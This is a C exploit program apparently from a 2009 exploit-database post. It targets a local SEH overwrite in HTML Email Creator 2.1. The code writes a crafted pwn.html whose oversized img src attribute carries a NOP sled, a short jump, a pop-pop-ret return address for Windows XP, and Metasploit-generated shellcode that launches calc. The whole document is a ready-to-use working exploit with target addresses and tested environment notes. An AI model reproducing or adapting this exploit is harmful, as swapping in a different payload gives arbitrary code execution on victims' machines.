/* :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ 888_,o8P'88 .d888 888 Y88 MMMMP"` "YmmMMMM"" MMM YM [ Discovered and Exploited by dun ]
[ HTML Email Creator <= 2.1 build 668 ] (html) Local SEH Overwrite Exploit
Vendor: http://www.html-email.net/ Download: http://www.html-email.net/download/html2emailcreator.exe
Vuln: <img src="520 x A"> or <script src="520 x A"> or <link href="520 x A">
___________________________520_____________________________ | | [ NOPs ][ jmp 11 ][ pop-pop-ret ][ NOPs ][ shellcode ][ NOPs ] 56 4 4 40 343 73 Greetz: suN8Hclf, str0ke [ dun'at'strcpy.pl / 2009 ] */
#include <windows.h> #include <stdio.h>
/* Tested on: WIN XP SP2 with installed "PC TOOLS Spyware Doctor" from google pack /SafeSEH OFF 0x636e0000 0x63709000 6.1.0.2 C:\Program Files\Spyware Doctor\smum32.dll #define RET 0x636E34BC // pop-pop-ret
WIN XP without any upgrades kernel32.dll 0x77E9CB0E pop EAX - pop - ret #define RET 0x77E9CB0E // pop-pop-ret */
#define RET 0x77E9CB0E // pop-pop-ret #define JMP 0x909011EB // short jump (jmp 11) #define LEN 520 #define NOP 0x90
// win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com char scode[] = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34" "\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47" "\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48" "\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38" "\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c" "\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e" "\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48" "\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44" "\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48" "\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33" "\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37" "\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a" "\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b" "\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53" "\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57" "\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59" "\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56" "\x4e\x56\x43\x46\x42\x30\x5a";
int main() { FILE *file; int i=0; char buf[LEN+1]; char *ptr=buf;
memset(buf,0x00,LEN+1); memset(buf,NOP,LEN); *(unsigned long *)&buf[56] = JMP; *(unsigned long *)&buf[60] = RET; ptr+=56+4+4+40; memcpy(ptr, scode, strlen(scode));
file=fopen("pwn.html","w");
fprintf(file, "<HTML>\n<HEAD></HEAD>\n<BODY>\n<img src=\""); fputs(buf,file); fprintf(file, "\">\n</BODY>\n</HTML>\n"); fclose(file);
printf("File created..\n"); return 0; }
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